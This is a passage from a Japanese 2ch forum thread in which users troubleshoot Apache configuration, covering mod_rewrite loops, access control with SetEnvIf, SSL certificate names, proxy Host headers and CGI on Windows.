そうなってないってことは誰も必要に感じてないだけだ
245DNS未登録さん:2006/12/06(水) 19:08:11 ID:???
過去のしがらみがあるから
int 32bit
double 64bit

でえぇやん
246DNS未登録さん:2006/12/06(水) 21:29:27 ID:???
>>243
"32bitの壁" ってひとくくりにするのがそもそもの間違い。
ファイルサイズの壁としての32bitであれば、それはApacheなら2.2.xの系列で
対応してるし、64bitプロセッサ用にコンパイルすれば2.0.xでも32bitのファイル
サイズの壁を越えて問題なく動作する。2.0.x用の非公式パッチもあるし。

あとWindows側の対応についてはOS側でも未対応の部分がいろいろあるよ。
OS側がGetFileSize()で対応してても下位32bitしか見てないアプリケーションなんて
ザラにある。

数値としての32bitであれば、それは単にそれを64bitにすればいいという話ではない。
既存のソースコードとの互換性に問題が生じるから、既存のものは既存のまま残して
おいて拡張は別に用意するのが通常。

PHPなら巨大な整数はBCMathライブラリを使ってあげるのが適当だろう。これを使えば
数値の壁や浮動小数表現時の誤差がゼロにできる(その分遅くはなるが)。
247k ◆WFGp1NZuiw :2006/12/07(木) 00:54:23 ID:???
>>243
確かに鈍感だと思う.
カーネル(ファイルシステム)にしろ HTTP サーバーにしろ,Windows (IIS)
に比べて数年遅れてきてる.

結局需要を先取りするインセンティブがなかったからそういうことになるんだ
ろうけど.

; これから,についてはちょっと期待してる.
248DNS未登録さん:2006/12/07(木) 01:36:06 ID:???
Microsoftとか、そりゃ資金も時間もあれば速いんじゃないの?

って思えなくも無い
結局は資金力の差でしょ
249DNS未登録さん:2006/12/09(土) 05:26:40 ID:???
>>247
先取りも何も、誰も必要としてないから対応してないだけだろ
250DNS未登録さん:2006/12/09(土) 09:24:07 ID:???
PHPのよく使われる場面で、32bitが障害になるってことなんてあるか?
251DNS未登録さん:2006/12/09(土) 13:20:42 ID:???
時々、そんなのDVD-Rに焼いて渡せよってほどのファイルサイズを
アップローダで受け渡そうとする奴が現れたりとか。
252DNS未登録さん:2006/12/10(日) 03:03:59 ID:???
質問です。
PHPのSSIを使えるようにしようと思っているのですが、
ソースを見るとSSIの部分が展開されずにそのまま送られています。
どんなことが考えられるでしょうか?

現在、Directoryディレクティブ内で
 Options ExecCGI Includes FollowSymLinks MultiViews
 AllowOverride None
 Order allow,deny
 allow from all
 AddType text/html .shtml
 AddHandler server-parsed .shtml
と指定しています。

このディレクトリ内に次の内容のtest.shtmlを作成して表示すると
SSI部分が展開されずに表示されます。
 <html><body>
 <?php echo "hoga"; ?>
 </body></html>
非SSIは正常に動作しています。

環境は次のとおりです。
OS : debian etch
apache2 : 2.2.3-3.1
php5 : 5.2.0-7
253DNS未登録さん:2006/12/10(日) 10:36:23 ID:???
>>252
思いっきり勘違いの予感。
SSIは <!--#include file="filename" --> のように記述する簡易なスクリプトで
あって、PHPとは無関係。
254DNS未登録さん:2006/12/10(日) 15:37:16 ID:???
>>252
普通のphpじゃあかんの?
255DNS未登録さん:2006/12/10(日) 19:29:12 ID:???
>>251
ロダ設置者スレに沸いてたなw
256252:2006/12/10(日) 20:40:55 ID:???
>>253
ぐは、そうなんですか・・・
それでは上の.shtmlファイルを正しく表示するにはどうすればよいのでしょう。

>>254
カウンタとして使ったりメニューとして使ったりしたいと思ってるので
埋め込みでやりたいのです。

ちょっと調べてみて
 AddType application/x-httpd-php .shtml
とか
 AddType text/x-server-parsed-html .shtml
とか書いてみましたが、今度はクライアント側で「ファイルの保存」ダイアログが出てしまいます。
根本的に理解していなくてすみませんがよろしくお願いします。
257DNS未登録さん:2006/12/10(日) 21:06:17 ID:???
 <html><body>
 <?php echo "hoga"; ?>
 </body></html>

↑これには全くSSIは含まれていない。
すこしはSSIを勉強しろ。このスレは早い。
258252:2006/12/10(日) 21:54:03 ID:???
>>257
いや、それは理解しています。SSIのことは忘れてください。
で、そのファイルで
 <html><body>
 hoga
 </body></html
という出力を得たいのですがどうすればよいのでしょうか?
259DNS未登録さん:2006/12/10(日) 23:37:37 ID:???
>>258
phpのマニュアルかスレでも行って帰ってくんな
260252:2006/12/11(月) 00:35:21 ID:???
>>259
というとapacheの設定の問題ではないということですか。
どうもありがとうございました。そうすることにします。
261DNS未登録さん:2006/12/12(火) 01:55:31 ID:T5OwBBaH
ちょっと質問だ。俺んちの設定は
exapmle.com→www.example.com→mobile.example.comっつうアクセス順になってる訳さ。
example.comへアクセスしたらRedirectでwww.example.comへ、www.example.comへアクセスしてきたものが
携帯端末であればmobile.example.comへ。
まぁこんな感じなわけで、UA使ってmobile.example.comへ来たPCをwww.example.comへ飛ばそうと考えている訳だ。
しかし、mobileからwwwへ飛ばす設定を追加したら携帯からwww.example.com,example.comからmobile.example.comへのリダイレクトがループになっちまった。
ちなみにmobile.example.comへPCからアクセスした場合はwww.example.comへ上手くリダイレクトされていまつ。
追加したのか↓のとおり。

#/usr/local/apache2/htdocs/mobile/.htaccess
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} !^DoCoMo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !^vodafone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !^KDDI [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !^J-PHONE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !^Up.Browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !^ASTEL [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !^DDIPOCKET [NC]
RewriteRule ^$ http://www.example.com/ [L]

ちなみにディレクトリ構成は/usr/local/apache2/htdocs配下に
tmp/→example.com,/→www.example.com,mobile→mobile.example.comって感じな訳だ。
無限ループしないようにするにはどうすればいいと思う?

http://pc8.2ch.net/test/read.cgi/mysv/1165573172/l50←こっちで聞いてもレスなかったからこっちでも聞いてみる。
262DNS未登録さん:2006/12/12(火) 11:00:21 ID:???
mobileからwwwへ全てリダイレクトしたらその現象と同じになるよな
つまり、その設定に問題があるっちゅうこっちゃ
263DNS未登録さん:2006/12/12(火) 11:01:29 ID:???
その条件に一つでも該当したら飛ぶ、ということじゃないのか
これだけでわかるべ
264261:2006/12/12(火) 17:21:11 ID:T5OwBBaH
「!」で否定しているからHTTP_USER_AGENTに該当していない場合はってことじゃないん?
違ったら正しい正規表現の仕方教えてーorz
265DNS未登録さん:2006/12/12(火) 17:36:34 ID:???
>>264
否定の時は and じゃないの? (OR が要らない)
!(A or B) == !A and !B
266261:2006/12/12(火) 17:50:59 ID:???
>>265
そのとおりでした、ごめんなさい、解決しました、ありがとうございましたorz
267DNS未登録さん:2006/12/12(火) 18:29:48 ID:LT8tumYE
HostNameLookups on を記述しており、
access.log ではホスト名が記録されているのですが、
error.log では IP アドレスで記録されてしまいます。
error.log でもホスト名で記録させたいのですが、どのように記述すれば良いでしょうか?
268DNS未登録さん:2006/12/12(火) 18:30:36 ID:rgFtRzuF
無理。ホスト名なんて飾りです。
269267:2006/12/12(火) 18:54:46 ID:???
>>268
そうなんですか(´・ω・`)
270DNS未登録さん:2006/12/22(金) 17:48:39 ID:???
Win版の2.2を入れようとしたら
どうやらインストーラーのフォルダ設定がおかしくなっていて
おかしな場所(C:\とか)にファイル展開される。

仕方ないので2.0を入れたら、
なぜかエラーログの全行にrefererが付いてくる。
271DNS未登録さん:2006/12/22(金) 21:12:05 ID:???
とりあえずPC初心者は帰れ
272DNS未登録さん:2006/12/23(土) 18:58:06 ID:qqU13RB+
apache1.3系で mod_rewrite を有効にした場合、CONNECT メソッドに対して
意図した挙動をせず、困っています。

リライトを無効にした状態

 $ telnet localhost 80
 Trying 127.0.0.100...
 Connected to localhost.
 Escape character is '^]'.
 CONNECT www.google.com:80 HTTP/1.0
 Host: www.hoge.com
 
 HTTP/1.1 404 Not Found
 以下404メッセージ

RewriteEngin on
RewriteRule ^/$ /application

 $ telnet localhost 80
 Trying 127.0.0.100...
 Connected to localhost.
 Escape character is '^]'.
 CONNECT www.google.com:80 HTTP/1.0
 Host: www.somehost.com
 
 HTTP/1.1 200 OK
 以下アプリケーションサーバの処理結果(エラー)

RewriteEngine を on にしただけの状態では 404 が返るだけなのですが
何か設定をすると RewriteRule が CONNECT リクエストを拾ってしまうようです。

これはいったいどういうことなんでしょうか。
どなたかご教授下さい。
273DNS未登録さん:2006/12/23(土) 19:24:16 ID:???
Server version: Apache/2.0.54
OS: Fedora Core 4

という環境でApacheのことについて質問です。
トップページであるindex.phpがincludeしてるページファイルを更新してリロードしても
更新がすぐ反映されず数分後にリロードしてみると反映されているのはキャッシュ機能が働いているからなのでしょうか?
それとも現在接続中のユーザがindex.phpを参照しているとか関係があるのでしょうか
よろしくお願いします
274DNS未登録さん:2006/12/23(土) 19:46:35 ID:???
>>272
RewriteRule を httpd.conf 直下ではなく <Directory> の中に置いてみたら?

<Directory htdocs>
RewriteEngine On
RewriteRule ^$ /application
</Directory>

>>273
ログを見てみろ。
304 Not Modified を返してたらサーバー側に問題がある。
あと、直前のレスポンスに Last-Modified, Etag, Expires あたりのヘッダが
出てないかどうかもチェックするといい。
275DNS未登録さん:2006/12/23(土) 19:49:58 ID:???
>>274
>RewriteRule を httpd.conf 直下ではなく <Directory> の中に置いてみたら?
ありがとうございます。
現象を回避できるようになりました。
感謝!
276272:2006/12/24(日) 01:07:53 ID:7Kt70ycg
RewriteRule などを Directory 内に記載することで CONNECT メソッドを拾わなくなったのですが、
まだ ¥x04¥x01 などの適当な文字列によるリクエストを mod_rewrite が拾ってしまってうようです。
(上記のRuleでアプリケーションサーバに処理が渡りに200が返ってしまう)

.htaccess 内に全て記載するようにすると 403 が返るようになるのですが、そういう仕様なのでしょうかね。
パフォーマンスのことを考えると httpd.conf に書いておきたいのですが。。。
皆さんどうしてますか?
277272:2006/12/24(日) 01:13:41 ID:7Kt70ycg
捕捉します。
例えば、

<Directory ....
 <Limit GET POST OPTIONS PROPFIND>
  Options ExecCGI FollowSymLinks
  Order allow,deny
  Allow from all
 </Limit>
 <LimitExcept GET POST OPTIONS PROPFIND>
  Order deny,allow
  Deny from all
 </LimitExcept>
 RewriteEngin on
 RewriteRule ^$ /application

 $ telnet localhost 80
 Trying 127.0.0.100...
 Connected to localhost.
 Escape character is '^]'.
 ¥x04¥x01
 以下アプリケーションサーバのエラーメッセージ

条件部分を、.htaccess 内に記述すると、

 $ telnet localhost 80
 Trying 127.0.0.100...
 Connected to localhost.
 Escape character is '^]'.
 ¥x04¥x01
 以下403のエラーメッセージ

となり意図した動作になる。
278DNS未登録さん:2006/12/24(日) 01:19:30 ID:???
>>274
ありがとうございます
帰ったらチェックしてみます
279DNS未登録さん:2006/12/24(日) 01:24:25 ID:???
>>276-277
RewriteRule を httpd.conf 直下ではなく <L(ry
280272:2006/12/24(日) 02:26:32 ID:???
>>279
なるほど… orz
失礼しました、と言いたいところだけど、、、なんてややこしいんだ!!!

これは Apache API のへのフックの仕方とかちゃんと理解してないと
この先が思いやられそうですね。

ありがとうです>>278
281272:2006/12/24(日) 02:27:58 ID:???
あ、間違えました。>>279氏ありがとう。
282DNS未登録さん:2006/12/25(月) 13:27:01 ID:aG2cPi87
RedHatAS3とjdk1.4.2でDerbyを試しております。
実行する際、startNetworkSever.kshを実行しているのですが、
これをサービスとして実行する手段は無いでしょうか。
コンソールを閉じると止まってしまうため不便を感じております。

ご助力いただければ幸いです。
よろしくお願いいたします。
283DNS未登録さん:2006/12/25(月) 15:32:12 ID:???
>>282
startNetworkServer.ksh &を起動時に実行するようにしてみては?
284DNS未登録さん:2006/12/26(火) 02:00:52 ID:kTUTOG8N
apache james
285DNS未登録さん:2006/12/26(火) 02:03:36 ID:kTUTOG8N

ごめんなさい、間違って書き込んでしまいましたorz
改めまして、apache jamesを使ってメール鯖を立てようかと試みています。
使えるネットのRedHatAS3上で構築中なのですが、サーバは起動したのですが、追加したユーザ宛にメールを送っても
ユーザがいないとエラーが返ってきてしまいます。ユーザは間違いなくいるのですが。。。
portを25ではなく250とかしているといけないでしょうか?
なぜか25と110が使われていて、このportでJamesを起動できないのです。。。
286DNS未登録さん:2007/01/05(金) 03:07:14 ID:XABdbFKW
Apache2.2を導入してアンインストールしたのですが、
サービスの一覧から消えてくれません。
どうすれば完全に削除できるでしょうか。
OSはwindowsXP x64editionです。
287DNS未登録さん:2007/01/05(金) 10:14:17 ID:???
削除されたApacheの恨みは子々孫々まで消えることはありません。
288DNS未登録さん:2007/01/05(金) 10:35:41 ID:???
サービスを消して喜んでる奴も、レジストリはバッチリ残してたりする・・・。
289DNS未登録さん:2007/01/05(金) 10:43:54 ID:???
つーかほとんどのドザは意識もしてない→故に穴も放置→やりたい放題
290DNS未登録さん:2007/01/05(金) 13:03:49 ID:???
もっかいインストールして、サービス削除のコマンドを実行する。
291DNS未登録さん:2007/01/05(金) 17:47:36 ID:???
七代先まで消えないよ
292DNS未登録さん:2007/01/08(月) 22:05:40 ID:???
サーバマシンとして,とりあえずapacheとsambaとwebdavとsubversionあたりを立ててみた.
けど値段相応の働きをしてない気がするので,有効活用する方法はないかと先輩に聞いたら,
「会社からもアレできるようにアレしてよ」と社内ネットワークのハッキング(?)方法を教わった.
さらに「ちょっと前のapacheなら,もールートは貰った!って感じだよ」とロクでもない情報も頂いた.
そんなわけで,やっぱ初心者だし外にポート開放するのはやめよかな...とハッキング恐怖症になった.
今のところ443しか開放してないけど,それでも危険な場合あるんかな.
293DNS未登録さん:2007/01/08(月) 22:41:51 ID:???
そう書いておいて実は大したこと無いのが殆どだからな
294DNS未登録さん:2007/01/08(月) 23:07:45 ID:???
443つーてもクライアント認証しなきゃ耐侵入難度は80と同等。
295DNS未登録さん:2007/01/09(火) 00:02:55 ID:???
むしろ、opensslを噛ます分だけ危険度は高くなるともいえるなw
296DNS未登録さん:2007/01/09(火) 08:03:06 ID:???
半端な壁ほど壊しやすいし穴も見え見え
297DNS未登録さん:2007/01/09(火) 09:57:09 ID:???
と、出来もしないのに偉そうに書いてみました^^
298DNS未登録さん:2007/01/10(水) 09:38:46 ID:???
ちょっと前のapacheなら,もールートは貰った!って感じだよ
299DNS未登録さん:2007/01/10(水) 11:08:13 ID:???
いや、rootだってば坊や
300DNS未登録さん:2007/01/10(水) 12:48:52 ID:???
「もールート」知らないの? ぷっ
301DNS未登録さん:2007/01/10(水) 12:54:08 ID:???
やっぱアイラ系だよな
302DNS未登録さん:2007/01/10(水) 12:57:44 ID:???
よそに遊びに行きな坊主
303DNS未登録さん:2007/01/10(水) 13:30:46 ID:???
安西先生・・・流れがわかりません・・・
304DNS未登録さん:2007/01/10(水) 19:42:53 ID:???
Order Allow,Deny で、デフォルトではアクセスを禁止しています。
.example.ne.jp かつ Mozilla/5.0 な人のアクセスを許可したい場合、
どのように記述すれば良いでしょうか?

SetEnvIf User-agent "Mozilla/5.0" ok
Order Allow,Deny
Allow from .example.ne.jp && env=ok

みたいな感じでいけるかなと思ったのですが、文法的におかしいようで……。
305DNS未登録さん:2007/01/10(水) 22:59:22 ID:???
Order Allow,Deny
Allow from .example.ne.jp
Deny from env=!ok
306304:2007/01/11(木) 00:04:11 ID:???
>>305
Allow 行に該当しても、後ろの Deny 行まで見てくれるのですね。
参考になりました。ありがとうございました。
307305:2007/01/11(木) 00:14:46 ID:???
>>305でいけましたか?ならよかったです。
ノーチェックでレスしたんで・・
308304:2007/01/11(木) 00:37:17 ID:???
>>307
大丈夫でした。ありがとうございます。

ただ、>>304と同時に、
.example2.ne.jp な人はどの User-agent でも許可したい場合には
どのようにすれば良いのかを考えるとこんがらがって来ましたが、
教えて頂いた事を参考にしてもうちょっと頑張ってみます。
309DNS未登録さん:2007/01/12(金) 21:16:00 ID:k2m+YlRd
>>308
ひとつの変数に対して、何度でも設定のやり直しが出来るから

SetEnvIf User-Agent Mojira okok
SetEnvIf Remote_Addr example.ne.jp okok
SetEnvIf Host dyndns.com okok
SetEnvIf Remote_Addr .com !okok

Order Deny,Allow
Deny from all
Allow from env=okok

.comからのアクセスはどんなでもダメ
それ以外だったら、上3行の内どれかでも当てはまれば ok
310DNS未登録さん:2007/01/12(金) 21:30:24 ID:???
φ(..)メモメモ
311DNS未登録さん:2007/01/14(日) 05:42:21 ID:???
ApacheJamesでメール鯖を運用中なのですが、smtp認証を有効化していたのですが、
ログを見ると、何度かSPAMを排除した後、java.net.SocketException: Connection resetという例外が発生していて、
それ以後smtp認証が無効になっているようでした。
authRequiredというのはあまり当てにしてはいけないのでしょうか?
312DNS未登録さん:2007/01/15(月) 08:17:13 ID:???
example.com からのアクセスを拒否したいのですが、
403を返すのではなく、そもそも httpd が動いていないように見せかける事は、
Apache2 だけで実現可能でしょうか?
ルータで制御しなければ無理でしょうか?
デーモンとして動かしているので、hosts.deny は無意味なようで……。
313DNS未登録さん:2007/01/15(月) 09:15:04 ID:???
っ iptables
314DNS未登録さん:2007/01/15(月) 15:53:47 ID:???
質問があります。先ほどApache HTTP Server2.0.59というのをインストールしました
これを利用して山田オルタナティブみたいなことができるのでしょうか?
特定の人間にディレクトリを公開したいんです。
でも、勝手にローカルのファイルを削除されたら困ります。
できるでしょうか?
315DNS未登録さん:2007/01/15(月) 16:13:28 ID:???
できる
316DNS未登録さん:2007/01/15(月) 16:25:36 ID:???
>>314
cgiとかでディレクトリ操作しない限りファイル削除は無理
設定しなくても初めはindex.htmlないと勝手に見えるような気がするが
317314:2007/01/15(月) 16:25:51 ID:???
>>315
レスありがとうございます。
具体的にやり方をお教えいただけないでしょうか。サーバはこれが初めてです。
せめてヒントだけでも。^^
318314:2007/01/15(月) 16:30:07 ID:???
>>316
レスありがとうございます。
index.htmlはデフォルトのままです。
「あなたの予想に反して、このページが見えているでしょうか?」が表示されます。
ホームページを公開できるようになるためにははまだまだ敷居が高そうなので
せめてディレクトリ公開をしてみたいと思っています。
319DNS未登録さん:2007/01/15(月) 16:30:43 ID:???
今どういう構成なの?
ルーター使ってるならポートの設定もいる。
OSとか環境もあったほうがいいが、、、
認証は入れるの?
320314:2007/01/15(月) 16:37:48 ID:???
>>319
構成といいますと?何から説明したらよいかわかりませんが
OS = WindowsXP SP2
ルータ = Netgear (型番忘れました)
WAN側に公開する以前にLAN内部で公開して、セキュアにしていきたいと思っています。
321DNS未登録さん:2007/01/15(月) 16:42:49 ID:???
んじゃあ、httpd.conf に以下の追加で
C:/path/to/以下のファイル一覧が、http://localhost/hogehoge/ のアクセスで見られる。
許可はファイル一覧の表示のみ。C:/path/to/へのアクセス権がApacheで設定したユーザーに無いとダメ

Alias /hogehoge/ "C:/path/to/"

<Directory "C:/path/to/">
Options Indexes
AllowOverride None

Order Allow,Deny
Allow from all
</Directory>
322DNS未登録さん:2007/01/15(月) 16:43:31 ID:???
つーか初心者スレ行きか?
323314:2007/01/15(月) 16:51:42 ID:???
>>321
"C:/path/to/へのアクセス権がApacheで設定したユーザーに無いとダメ"という意味がいまひとつ解らないのですが
サーバーに稼動しているアカウントが制限ユーザだとダメなのでしょうか。「HTTP 404 - ファイル未検出」と表示されてしまいました。
お教えいただいた記述はhttpd.confの最後にコピペしました。コピペの場所がまづかったのでしょうか?
324DNS未登録さん:2007/01/15(月) 16:53:58 ID:???
いや、、、その前にC:/path/to/のpath と toは実在のディレクトリに置き換えた?
とりあえず、アクセス権はeveryoneならそのままで
325314:2007/01/15(月) 17:00:06 ID:???
>>322
初心者スレがあったんですね。スレ汚しスマソ
>>324
できました!「Index of /hogehoge/」で表示されてます。
どうもありがとうございました!┏○
326DNS未登録さん:2007/01/15(月) 17:01:56 ID:???
探すのもあれだろうし

Apache 初心者質問スレッド Part15
http://pc10.2ch.net/test/read.cgi/mysv/1165573172/
327312:2007/01/15(月) 18:59:37 ID:???
>>313
なるほど、iptables ですか。
example.com の IP アドレスを調べて試してみます!
328DNS未登録さん:2007/01/15(月) 21:23:44 ID:???
工エエェェ(´д`)ェェエエ工
329DNS未登録さん:2007/01/16(火) 09:33:32 ID:???
example.comの中の人と知り合いなんだよ
330DNS未登録さん:2007/01/16(火) 12:22:47 ID:???
>example.com からのアクセスを拒否したいのですが、
>example.com の IP アドレスを調べて試してみます!
何の問題もないように見えるよ :-)
331DNS未登録さん:2007/01/16(火) 13:02:59 ID:???
>>329が脊髄反射しちゃっただけだよ
332DNS未登録さん:2007/01/20(土) 12:12:06 ID:???
質問です。
どなたか教えてください。

plutoにポートレットを乗せたいときって
1. pluto-portal-driver-config.xmlを書き換えて
2. portlet毎のservletをweb.xmlに追記しなくちゃいけないんですか?

よろしくお願いします。
333332:2007/01/20(土) 13:17:26 ID:???
>>332
自己レス
1.はその通り
2.のweb.xmlへの追記は maven 使って行うようでした。

スレ汚しすまん
334DNS未登録さん:2007/01/23(火) 00:57:35 ID:SJ+CcHH3
とりあえずapache2の本買ってきたんだけど
なんかhttpd.confに記述とか書いてあるから????と思って

本の一番最後みたら


初版 2002年10月


だけしか書いてなかった。

何年前のバージョンだよ・゚・(つД`)・゚・
335DNS未登録さん:2007/01/23(火) 06:00:09 ID:???
日本語でおk。
336DNS未登録さん:2007/01/23(火) 09:20:38 ID:???
Apache Httpd の設定はマニュアルだけ見たほうがいいと思う。
本とかも良く間違ってるし。その間違いってのがケアレスミスじゃなくて筆者の理解不足だったり。
間違ってなくても、本に頼ってると、自分で考える習慣が付かないと思う。
337DNS未登録さん:2007/01/23(火) 09:49:55 ID:???
最新版でもhttpd.confに記述じゃないのか?
338DNS未登録さん:2007/01/23(火) 09:53:59 ID:???
>>335
334じゃないんだけど、どの部分が日本語でおKなの?
俺には言いたいこと分かったけど?
339DNS未登録さん:2007/01/23(火) 10:11:05 ID:???
>>338
「だけしか」が「たけし」に見えたんじゃね?w
340DNS未登録さん:2007/01/23(火) 10:15:35 ID:???
改行を使って見やすくしてあるせいで、韓国語への翻訳サイトを通すと
意味の通る文章にならないとか。
341DNS未登録さん:2007/01/23(火) 11:23:50 ID:???
みんな納得してるみたいだけど、
オレも
>なんかhttpd.confに記述とか書いてあるから????と思って

の部分が意味不明
342DNS未登録さん:2007/01/23(火) 11:28:48 ID:???
ディストリによって違うのでは?
FC6 で yum で入れた 2.2.3 を使用していますが、httpd.conf がメインですよ。
343DNS未登録さん:2007/01/23(火) 17:34:15 ID:???
>>334
多分debianだな。

というかディストリによってファイルパスが違うならともかく
ファイル名が違うのはいただけない。
344DNS未登録さん:2007/01/23(火) 18:52:32 ID:???
そういうことかー
Solaris が多いんで、ソースから入れることしかしたこと無いもんで
気が付かんかった。
345DNS未登録さん:2007/01/24(水) 19:02:37 ID:???
suseもバラバラだな。
あとxamppとか。
346DNS未登録さん:2007/01/24(水) 23:41:49 ID:???
suseを鯖にと思ってたけど、設定ファイルの場所とかが異なるのか・・・
やめようかしら?
347DNS未登録さん:2007/01/25(木) 01:32:46 ID:???
apacheに限らずさまざまなアプリのデフォルト設定が、SUSEは過剰でキモイ。
redhatはデフォルトの設定は比較的シンプルだね。
348DNS未登録さん:2007/01/25(木) 01:41:15 ID:???
redhat でも過剰でキモいと思ってるぐらいなんだが……。

そのディストリしか使わん人にはいいのかもしれんが、
いろいろ使ったりソースから野良ビルドしたりするのを
日常的にやってるとディストリごとで独自にカスタマイズされてると逆にめんどう。
349DNS未登録さん:2007/01/25(木) 10:12:23 ID:???
FreeBSDまんせー
350338:2007/01/25(木) 22:42:20 ID:???
>>341
httpd.confに記述と書いてあるけど、そんな項目無いから変だと
思ったら 2002年の本だった。こんなの売るなバカやろー

って事だろ? >334
351DNS未登録さん:2007/01/25(木) 22:50:08 ID:???
   〃∩ ∧_∧
   ⊂⌒(  ・ω・)    はいはいBSDBSD
     `ヽ_っ⌒/⌒c
        ⌒ ⌒
352DNS未登録さん:2007/01/25(木) 22:58:39 ID:???
普通いつ改訂や出版されてるか見るだらう
353DNS未登録さん:2007/01/25(木) 23:06:33 ID:???
手に取った瞬間電気が走りました。
354334:2007/01/26(金) 00:03:31 ID:???
>>350
そうです。
>>343
当たりです。以前はvineでapache使ってたから
debianでapache2を使うことにしてマニュアル本買ったら全然違うことが書いてあり
一番最後のページ見たら2002年の本で初版だったので
古すぎだろ(#゚Д゚)オラーと思ってました。
でもここの書き込みを見てたらdebianの設定ファイルがapache2.confであって
ふつーはhttpd.confだと分かりちょっと納得、ちょっと不満。

ただ構築関連の本は年に1度ぐらいは改訂してほしいです。
「ウイルスソフトを使っているけどパターンファイルが1年前のもの」みたいな感じ。

>>352
今度からそうします。
355DNS未登録さん:2007/01/26(金) 09:13:13 ID:lfouPXkE
mod_ssl使用しています。
SSLサーバ証明書を www.○○○.ne.jp で取得したのですが、
wwwを抜いて ○○○.ne.jp でアクセスするとドメインが違う為「セキュリティの警告」が出ます。

この2つはIPは一緒で物理サーバも同じになります。
○○○.ne.jp でも警告を出さないようにするにはこのドメインでも証明書を取得する以外に方法はあるのでしょうか?
356DNS未登録さん:2007/01/26(金) 10:26:13 ID:???
なんとなく>>350>>354が食い違ってるようにみえるなw
しかし、本で読む程度の内容なら2002年でも変わんないけどな
357DNS未登録さん:2007/01/26(金) 20:03:25 ID:???
>>355
それは証明書のCN欄に "○○○.ne.jp" を含めた電子署名を取るほか無い。
もしもそれができれば偽装し放題でPKIの意味がない。
358DNS未登録さん:2007/01/26(金) 20:18:29 ID:???
#!C:/Perl/bin/perl
ではなくて、
#!/usr/local/bin/perl
の宣言でcgiを動かしたいのですが
その方法がよくわからりません。

どこを書き換えれば解決できるのでしょうか。
359DNS未登録さん:2007/01/26(金) 20:22:36 ID:???
>>358
もっと具体的に何をやりたいのか書け。
360DNS未登録さん:2007/01/26(金) 20:34:25 ID:???
ごめんなさい
一番したいことは拡張子.cgiのcgiをレンタル鯖にうpする前に
ローカルでテストしてからアップしたいのです。

それで、↓のApache別スレのテンプレサイトの通りに、まず設定して
そして、カウンターをいざ動かしてみようとしても、動かない状況で困っています。
http://www2j.biglobe.ne.jp/~apollo/server/apacuse.html
361DNS未登録さん:2007/01/26(金) 21:05:41 ID:???
>>360
Windows版のApacheのままやるのであればそれは無理。
cygwinやcoLinuxを入れて仮想的なLinux環境を作り、それらの上で動作する
Apacheをインストールしてそこでやるしかない。
362DNS未登録さん:2007/01/26(金) 21:07:04 ID:lfouPXkE
>>357 有難うございます。そうですよね...。
363DNS未登録さん:2007/01/26(金) 23:01:12 ID:???
Apache1.31を利用しています。
エラーなどのログがどこに保存されているか教えてください。
364DNS未登録さん:2007/01/27(土) 04:00:10 ID:???
>>363
あなたの設定次第。
365DNS未登録さん:2007/01/27(土) 21:21:44 ID:???
>>360
C:\usr\local\bin にperl関係全部突っ込めばよろしー
366DNS未登録さん:2007/02/03(土) 17:39:34 ID:???
凄く初歩的なのですが、
apacheで日本語のページを表示しようとすると????と表示されてしまいます。
回避方法教えてください。
367DNS未登録さん:2007/02/03(土) 17:41:18 ID:???
文字コードを指定しろ。
368DNS未登録さん:2007/02/03(土) 17:41:45 ID:???
バージョン・OS(ディストリ)も書かずに質問とな!?

設定ファイルに AddDefaultCharset があるだろうからそれをコメントアウト
369DNS未登録さん:2007/02/03(土) 18:23:28 ID:???
>>367368
レスありがとうございます。
現状で走っている訳ではないので確認が遅れると思うのですがきっとそうなのですね!
愛してます!
あぱっちは1.3Xしか使った事ないです!
2.2X入れたとき全く使い方がわかりませんでした><
愛してますケッコンしてください!
370DNS未登録さん:2007/02/03(土) 18:28:47 ID:???
AddDefaultCharset は1.3.12 からあるんだけどな
371DNS未登録さん:2007/02/03(土) 18:45:59 ID:???
>>370
バージョン明記という意味です。
以前にあぱっち使ってた時に日本語が表示できなくて今度また利用する事になりそうなので
先に問題点をお聞きしました。
すれ汚してすみませんでした。
372DNS未登録さん:2007/02/14(水) 13:03:33 ID:8W+5jqlz
apache 2.0で、あるディレクトリに対して、
基本的にはブラウザに証明書を要求する(SSLVerifyClient)のだけれど、
特定のIPアドレスからアクセスされたときだけは要求しないと
いうような設定は可能ですか?

373DNS未登録さん:2007/02/14(水) 20:07:28 ID:???
試してないけど、?SSLReuire ${REMOTE_ADDR} =~ m/^192\.168\.[0-9]+\.[0-9]+$/ \? or %{SSL_CLIENT_VERIFY} eq "SUCCESS"?でできるんじゃないかなぁ。ダメかなぁ。わかんない。?
374DNS未登録さん:2007/02/14(水) 20:08:06 ID:???
なんか改行が消えたorz
375DNS未登録さん:2007/02/15(木) 01:32:00 ID:???
mod_rewriteで教えてほしいのですが、↓にある「-」の意味がいくら調べても
わかりません。どうゆう意味なのでしょうか?教えてください。
RewriteRule index - [PT]
376375:2007/02/15(木) 01:34:19 ID:???
すいません、↑のものですが、mod_rewriteでエラーログ?みたいのが
みれると聞いたのですが、どうやってみればいいのでしょうか?
よろしくお願いします。
377DNS未登録さん:2007/02/15(木) 01:41:01 ID:???
tail /usr/local/apache2/logs/error_log
378375:2007/02/15(木) 01:53:38 ID:???
ありがとうございます!
普通にエラーログで良いんですね。

もしよろしければ、「-」の意味も教えてください。
379DNS未登録さん:2007/03/11(日) 17:24:23 ID:???
質問です。

Apache 2.0.59 (win32)でプロクシサーバーを作ってみました。
やったことは、httpd.confの
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
を有効にして、
ProxyRequests On
を追加しただけです。

ところが、HTTPのリクエストをこのプロクシサーバーを通してみたところ、
プロクシサーバーから出て行くほうのリクエストのHost:ヘッダから
IPv6アドレスの[ ]がなくなってしまっていました。具体的には、

GET http://[1111:2222:3333:4444::100]:80/ HTTP/1.1
HOST: [1111:2222:3333:4444]:80

というリクエストが、プロキシを通すと、

GET / HTTP/1.1
HOST: 1111:2222:3333:4444::100:80

というようなリクエストになってしまいました。
プロクシサーバーから出て行くリクエストのHOST:ヘッダにも
きちんとIPv6の[]をつけるにはどのようにすればよいのでしょうか?
380DNS未登録さん:2007/03/13(火) 06:03:40 ID:???
>>379
http://%5b1111:2222:3333:4444::100%5d:80/
とやったら どうなるだろう
